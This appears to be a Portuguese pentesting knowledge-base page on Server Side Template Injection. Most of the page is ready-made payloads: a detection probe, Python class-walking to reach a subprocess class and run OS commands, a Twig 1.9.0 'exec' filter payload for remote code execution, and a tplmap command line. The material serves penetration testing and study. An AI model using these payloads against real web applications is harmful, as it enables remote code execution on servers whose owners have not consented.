> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/ssti.md).

# SSTI

Ataques SSTI (Server Side Template Injection), tem como alvo, aplicativos Web que usam modelos (arquivos TPL) para tornar as páginas da Web mais dinâmicas. A injeção de modelo no servidor ocorre quando a entrada do usuário é incorporada a um modelo de maneira insegura.

Podemos testar se o alvo é vulnerável a SSTI, enviando comando no formato `{{}}`.  Supondo que determinado sistema irá pegar o valor do parâmetro GET para inserir um template, podemos passar o seguinte payload como parâmetro:

```
https://site.com/{{'test'*7}}
```

Caso tenho a execução do mesmo, ou seja, escrever `7 vezes` a palavra `test`, significa que o alvo está vulnerável. Então podemos fazer algo mais interessante, retornar uma lista de funções disponíveis que podemos acessar. Repare que abaixo estamos passando o índice 1, mas as vezes é preciso alterar esse número para conseguir buscar a lista de funções.

```
https://site.com/{{''.__class__.mro()[1].__subclasses__()}}
```

O retorno deverá ser uma lista (array) de classes separadas por espaço, então quebre-o com espaços para descobrir qual o index da classe. Depois de descobrir isso, acesse o alvo com o seguinte payload.

```
https://site.com/{{''.__class__.mro()[1].__subclasses__()[<number_index_class>]}}
```

Supondo que queiramos acessar `fopen`, podemos inserir comandos no sistema operacional dos seguintes modos (altere os valores dos indexes):

```
https://site.com/{{''.__class__.mro()[1].__subclasses__()[123]("uname -a", shell=True,stdout=-1).communicate()[0]}}
https://site.com/{{''.__class__.mro()[1].__subclasses__()[123](["uname", "-a"],stdout=-1).communicate()[0]}}
```

### Twig

A versão do 1.9.0 do Twig está vulnerável a SSTI e, consequentemente conseguimos um RCE.

```
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('<command>')}}
```

Para verificarmos se o Twig apresenta erro no `eval`, podemos utilizar o payload `{{_self}}`

### TPLMap

Ferramenta que busca por vulnerabilidades de SSTI. Sua sintaxe e usabilidade é bem semelhante ao `SQLMap`.

```
tplmap.py -u http://www.site.com.br/?id=*
```

Note que no final do URL tem um `*`,  indicando ao TPLMap que ali será o ponto de injection.

#### Sites

```
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
https://portswigger.net/research/server-side-template-injection
```
